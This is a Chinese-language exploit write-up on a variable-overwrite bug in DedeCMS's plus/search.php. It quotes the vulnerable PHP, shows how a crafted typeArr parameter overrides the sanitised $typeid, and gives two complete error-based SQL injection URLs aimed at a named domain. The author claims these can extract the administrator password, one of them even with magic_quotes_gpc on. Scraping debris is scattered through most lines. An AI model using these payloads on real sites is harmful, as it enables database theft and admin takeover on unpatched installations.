微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.% G; Z' z2 t+ {, n+ c
作者: c4rp3nt3r@0x50sec.org- \4 j% _. }+ U
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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& j" X( g* M+ Z黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.3 ]2 `: p% ? `, I2 G- h
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! E( `* @9 j" V3 O$ K0 uDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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5 D+ Q+ ~0 k! w: Q0 y+ Prequire_once(dirname(__FILE__).”/../include/common.inc.php”);3 r9 c! _. E+ R- Y" O
require_once(DEDEINC.”/arc.searchview.class.php”);
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* U1 ^- a! z# o# h, [$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;" D- X6 `- }: `+ V. _
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;* e& S* y' ?" `% [/ _: q
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
& g0 x' R2 R/ g9 r9 I& q# d& N$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;# T' K" F" G& Z4 |/ d* T5 d' y* X
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;; m6 c4 Y' m4 \$ b, I0 k4 L
, ]- v: i6 Q/ O8 {3 d# {% Rif(!isset($orderby)) $orderby=”;
! W1 t1 G: H4 Melse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’; x( M$ \8 X" h& j0 P
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);9 d1 _- G( m9 g# G* M/ A2 V5 Y
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if(!isset($keyword)){
* o- M8 J: x; b if(!isset($q)) $q = ”;
0 b* {: N) T0 k: g6 U* R$ {0 v $keyword=$q;
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% s7 F$ t% N+ b/ R/ s0 w' _$ S$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));2 o0 z+ y& L$ U& g) a* [
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//查找栏目信息
9 _3 e: d7 K) q8 |if(empty($typeid))
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+ o8 f. _% t1 T+ H9 O' C } $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
; \" D* I; O2 B% w+ G if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )% \! h+ ?" R; |1 O$ |
{
) v! l- w( }8 S $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
5 ^% ~/ @; g$ p" _2 b fwrite($fp, “<”.”?php\r\n”);. f1 z" a8 m- [# G, S3 M# [" ]
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
* z; p* q- o$ f# ]2 Z: q/ E: a: c $dsql->Execute();
( `: a0 s; Z: w2 V while($row = $dsql->GetArray())) W6 p0 l6 `: z2 s' U
{
# B( n' q& s7 J. I' j fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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: L/ Y& ^6 s" H+ B* w; A% ` fwrite($fp, ‘?’.'>’);8 E. M2 h6 J2 f& }9 l
fclose($fp);2 K4 B" E2 @2 `# W" J! x
}
0 D$ u) x6 F* z //引入栏目缓存并看关键字是否有相关栏目内容3 f2 E* P9 C% x1 v! b' A* W+ Y
require_once($typenameCacheFile);
6 C$ q1 C9 S9 v& x7 K//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
) H* N* q2 Y' E' Q M1 T//
6 _, C9 ^) k; I: K l if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)
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5 i S/ r/ T6 [1 p$ Y <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
- k+ z; K0 A6 n- _, x0 u4 i! j' a; K if($keyword != $keywordn)
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' B" Z. V- u0 L5 h! \$ a7 C $keyword = $keywordn;+ Z# ~8 m% X$ s9 ~
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设9 m1 y7 U7 n8 l
break;
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 .
" _1 |' {& N, [: ^在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
7 C |! H$ h5 e4 B; K' \" d$this->TypeLink = new TypeLink($typeid);
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TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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class TypeLink
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! I$ l9 c" K @+ X q var $typeDir;
7 a2 l. l) X2 K9 l# i8 ? var $dsql;
2 ~& M7 D: I+ C5 I- X7 w: z- @: I0 \/ q var $TypeID;
0 z- @$ t* B, \- j- E var $baseDir;
2 W$ S. u, ~2 `4 F var $modDir;$ W6 x# n6 T3 m3 Y) V" B
var $indexUrl;! V3 y# O4 f: b! E! h
var $indexName;! a+ [: \5 W+ V' N' o* z' |6 m" B
var $TypeInfos;4 y2 d* w% ]1 J, `4 U& C5 v
var $SplitSymbol;3 f0 i$ V* \, y- f5 r4 X* z; N
var $valuePosition;
. e- z5 l* q; q! G4 o var $valuePositionName;
3 \- `9 b' G+ w- p. y var $OptionArrayList;//构造函数///////
, i) C, R* O( f) x7 v1 c2 z //php5构造函数: o y: Z, @5 e7 @$ c
function __construct($typeid)
# z1 U% \" Z: d {
1 p3 V5 g/ Q+ V( b $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];) q y* n2 N1 f& \/ G+ }
$this->indexName = $GLOBALS['cfg_indexname'];% q5 L. s* H" h: f' b8 c
$this->baseDir = $GLOBALS['cfg_basedir']; {$ D5 H2 {, P. X& o
$this->modDir = $GLOBALS['cfg_templets_dir'];
6 G4 s; ?# ~; e$ f $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
' G. m! T9 _( u/ \2 X, G" Q $this->dsql = $GLOBALS['dsql'];8 Q3 i' q& Y2 L, A
$this->TypeID = $typeid;) b) }$ S+ A' F- M# j R
$this->valuePosition = ”;
" v$ z0 H! }+ t, c $this->valuePositionName = ”;0 z/ l- f& ^1 B
$this->typeDir = ”;
8 v5 [# ~3 p' u( h6 U $this->OptionArrayList = ”;
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4 S# i! W3 H5 G& ^5 W! y# { //载入类目信息
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as
5 Z4 O1 q4 B) ]1 z/ \2 f1 ~ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join& N4 y- \. |5 E3 S4 o* H# Q
`#@__channeltype` ch
- Y( J0 b1 c9 u2 W9 G7 Q' a% h* |& y on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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if($typeid > 0)( Q( F0 i4 K1 m0 n8 f% R
{
+ ^2 `$ P6 Y6 ]8 }/ ~2 M $this->TypeInfos = $this->dsql->GetOne($query);3 y7 D$ V, _4 A# I6 ]1 a
利用代码一 需要 即使magic_quotes_gpc = Off
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: q q1 H& g6 i2 f1 gwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
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6 @( p$ A, T# r( m, I! N这只是其中一个利用代码… Search 类的构造函数再往下
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……省略% B$ D) Y& R' q: W* C1 Y
$this->TypeID = $typeid;, A* j* v4 j) U
……省略
% N. F9 j3 Q* @7 T7 Oif($this->TypeID==”0″){0 o1 L S0 O" |- u
$this->ChannelTypeid=1;
6 U- K. \* d$ u" |* F0 J$ w% ^ }else{
- c$ q2 m! _5 P5 X$ b $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
8 {, x: `' T* v, {3 W1 f//现在不鸡肋了吧亲…
- d6 Q. J @3 [% }8 y $this->ChannelTypeid=$row['channeltype'];
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1 |& r. C" W* C# T. [利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.5 d* ?+ d% B3 p U5 o5 E0 R, x. X
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www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站1 _3 `" w2 F: t- B7 @* o" O
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